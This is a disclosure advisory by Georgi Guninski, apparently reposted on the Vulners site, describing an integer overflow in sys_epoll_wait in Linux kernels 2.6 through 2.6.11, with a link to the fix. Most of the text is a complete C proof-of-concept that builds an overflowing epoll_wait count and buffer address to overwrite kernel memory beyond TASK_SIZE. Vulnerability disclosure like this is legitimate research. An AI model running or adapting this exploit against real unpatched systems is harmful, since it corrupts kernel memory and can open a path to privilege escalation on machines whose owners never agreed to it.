`it is possible to partially overwrite low kernel ( >= 2.6 <= 2.6.11) memory
due to integer overflow in sys_epoll_wait and misuse of __put_user
in ep_send_events
tested on i386.
despite the overflow, the os seemingly continues normal operation.
fix:
http://linux.bkbits.net:8080/linux-2.6/cset@422dd06a1p5PsyFhoGAJseinjEq3ew?nav=index.html|ChangeSet@-1d
-------------------------------------------------
/*
* copyright georgi guninski.
* cannot be used in vulnerabilities databases like securityfocus and mitre
* */
#include <stdio.h>
#include <sys/epoll.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#define __KERNEL__
#include <asm/processor.h>
#undef __KERNEL__
#define MAXV 500
int main(int argc,char ** argv)
{
int epfd;
int i;
int res;
struct epoll_event ev;
int *fds;
int over;
void *km;
over= ((unsigned int)-1)/sizeof(struct epoll_event)+1;
km=(void *)(TASK_SIZE - over*sizeof(struct epoll_event) - 4);
printf("sizeof=%d %x %lx\n",sizeof(struct epoll_event),over,(unsigned long)km);
epfd = epoll_create(MAXV);
printf("Epoll descriptor %i\n",epfd);
fds=calloc(2*MAXV,sizeof(int));
for(i=0;i<MAXV;i++)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, &fds[2*i])) perror("pair");
ev.data.u32 = 0x42424242;
ev.events = EPOLLOUT|EPOLLIN | 0x42424242;
res = epoll_ctl(epfd,EPOLL_CTL_ADD,fds[2*i],&ev);
}
for(i=0;i<MAXV;i++) write(fds[2*i+1],&i,sizeof(i));
system("sync");
for(i = 0; i < 1; i++)
{
res = epoll_wait(epfd,km,over,-1);
printf("epoll_wait returned %i\n",res);
printf("check what is after TASK_SIZE\n");
}
close(epfd);
return 42;
}
-----------------------------------------
--
where do you want bill gates to go today?
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation